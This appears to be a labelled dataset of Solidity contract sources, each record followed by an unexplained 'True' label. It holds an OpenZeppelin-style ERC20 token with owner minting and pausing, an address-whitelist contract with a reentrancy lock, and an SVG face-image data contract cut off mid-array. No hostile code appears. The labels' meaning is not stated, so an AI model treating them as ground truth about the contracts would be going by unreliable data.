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// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract VishwaFinance is ERC20, ERC20Burnable, Pausable, Ownable { constructor() ERC20("Vishwa Finance", "VFT") { _mint(msg.sender, 10000000000000000000000000 ); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } }

True

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// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Lockable.sol"; /** * @title A contract to track a whitelist of addresses. */ contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /** * @notice Adds an address to the whitelist. * @param newElement the new address to add. */ function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /** * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. */ function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /** * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. */ function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /** * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. */ function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract * is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol * and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol. */ contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }

True

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// //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; contract FaceImageData { function getLabel(uint256 slot) public pure returns (string memory) { string[30] memory names = [ "Red Lipstick", "Light Blue Goggles", "Black Goggles", "Fashion Glasses", "Light Blue Wrap Around Shades", "Black Wrap Around Shades", "Disguise", "3D Glasses", "Smile", "Serious", "Smile with Beard", "Serious with Beard", "Wink", "Wink with Beard", "Eyebrows", "Eyebrows with Beard", "Mustache", "Mustache", "Skeleton", "Monocle", "Monocle with Beard", "Eyepatch", "Eyepatch with Beard", "Smoking", "Black Aviator Glasses", "Black Aviator Glasses with Beard", "Round Glasses", "Round Glasses with Beard", "Black Round Glasses", "Black Round Glasses with Beard" ]; return names[slot % names.length]; } struct PathData { string d; string fill; } struct SVGComposition { PathData[3] paths; } function pathDataToSVG(PathData memory pathData) private pure returns (bytes memory) { if (bytes(pathData.d).length == 0) return bytes(""); return abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="', pathData.d, '" fill="', bytes(pathData.fill).length > 0 ? pathData.fill : "black", '" />' ); } function getData(uint256 slot) public pure returns (bytes memory) { SVGComposition[30] memory svgData = [ SVGComposition( [ PathData("M10 15H11V16H14V15H15V14H10V15Z", "#DD1A21"), PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", ""), PathData("", "") ] ), SVGComposition( [ PathData("M17 11V13H13V12H12V13H8V11H17Z", "#78BFEA"), PathData( "M8 10H17V11H8V10ZM8 13V11H6V12H7V13H8ZM12 13V14H8V13H12ZM13 13H12V12H13V13ZM17 13V14H13V13H17ZM17 13H18V12H19V11H17V13ZM14 15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H19V12H18V13H17V14H13V13H12V14H8V13H7V12H6V11H8V10H17ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M18 10V11H19V12H18V13H17V14H14V13H13V12H12V13H11V14H8V13H7V12H6V11H7V10H8V9H11V10H12V11H13V10H14V9H17V10H18ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M19 10V11H18V12H17V13H14V12H11V13H8V12H7V11H6V10H19Z", "#78BFEA" ), PathData( "M19 9H6V10H5V11H6V12H7V13H8V14H11V13H14V14H17V13H18V12H19V11H20V10H19V9ZM19 10V11H18V12H17V13H14V12H11V13H8V12H7V11H6V10H19ZM14 15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData( "M19 10V9H6V10H5V11H6V12H7V13H8V14H11V13H14V14H17V13H18V12H19V11H20V10H19Z", "" ), PathData("M14 15H11V16H14V15Z", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 8H11V9H9V8ZM9 10H8V9H9V10ZM11 11V10H9V11H8V13H9V14H11V15H10V16H15V15H14V14H16V13H17V11H16V10H17V9H16V8H14V9H16V10H14V11H11ZM11 13V14H14V13H16V11H14V13H13V12H12V13H11ZM11 13H9V11H11V13Z", "" ), PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#F4F4F4"), PathData("M13 13V12H12V13H11V14H14V13H13Z", "#FCC39E") ] ), SVGComposition( [ PathData( "M7 14V10H18V14H13V12H12V14H7ZM8 13H11V11H8V13ZM14 13H17V11H14V13ZM11 15H14V16H11V15Z", "" ), PathData("M11 11H8V13H11V11Z", "#00A3DA"), PathData("M17 11H14V13H17V11Z", "#DD1A21") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM10 15H15V16H10V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM10 15H15V16H10V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 12H14V13H16V12ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 12H14V13H16V12ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 9H9V10H8V11H9V13H11V11H9V10H11V9ZM16 11H14V13H16V11ZM16 10H17V11H16V10ZM16 10H14V9H16V10ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 9H9V10H8V11H9V13H11V11H9V10H11V9ZM16 11H14V13H16V11ZM16 10H17V11H16V10ZM16 10H14V9H16V10ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM10 15H9V16H12V14H10V15ZM16 16H13V14H15V15H16V16Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM10 15H9V16H12V14H10V15ZM16 16H13V14H15V15H16V16Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM13 13H12V15H13V13ZM8 15V14H10V16H9V15H8ZM10 16H11V17H10V16ZM15 16H16V15H17V14H15V16ZM15 16V17H14V16H15ZM13 16H12V17H13V16Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData("M16 11H14V13H16V11Z", "#78BFEA"), PathData( "M16 10H14V11H13V13H14V14H16V13H17V11H16V10ZM16 11V13H14V11H16ZM11 11H9V13H11V11ZM14 15H11V14H10V15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData("M16 11H14V13H16V11Z", "#78BFEA"), PathData( "M16 10H14V11H13V13H14V14H16V13H17V11H16V10ZM16 11V13H14V11H16ZM11 11H9V13H11V11ZM14 15H11V14H10V15H11V16H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ) ] ), SVGComposition( [ PathData( "M9 7H10V8H9V7ZM11 9H10V8H11V9ZM12 10H11V9H12V10ZM18 10H12V11H13V13H17V11H18V10ZM18 10H19V9H18V10ZM9 11V13H11V11H9ZM15 14H14V15H11V14H10V15H11V16H14V15H15V14Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 7H10V8H9V7ZM11 9H10V8H11V9ZM12 10H11V9H12V10ZM18 10H12V11H13V13H17V11H18V10ZM18 10H19V9H18V10ZM9 11V13H11V11H9ZM15 14H14V15H11V14H10V15H11V16H14V15H15V14Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM14 14H10V15H14V16H15V15H14V14Z", "" ), PathData("M16 16H15V17H16V16Z", "#DD1A21"), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H18V12H17V13H14V12H13V11H12V12H11V13H8V12H7V11H8V10H17ZM10 14H11V15H10V14ZM14 15V16H11V15H14ZM14 15V14H15V15H14Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H18V12H17V13H14V12H13V11H12V12H11V13H8V12H7V11H8V10H17ZM10 14H11V15H10V14ZM14 15V16H11V15H14ZM14 15V14H15V15H14Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#78BFEA"), PathData( "M9 10H11V11H9V10ZM9 13H8V12H7V11H9V13ZM11 13V14H9V13H11ZM14 13H13V12H12V13H11V11H14V13ZM16 13H14V14H16V13ZM16 11H18V12H17V13H16V11ZM16 11H14V10H16V11ZM11 15H14V16H11V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#78BFEA"), PathData( "M9 10H11V11H9V10ZM9 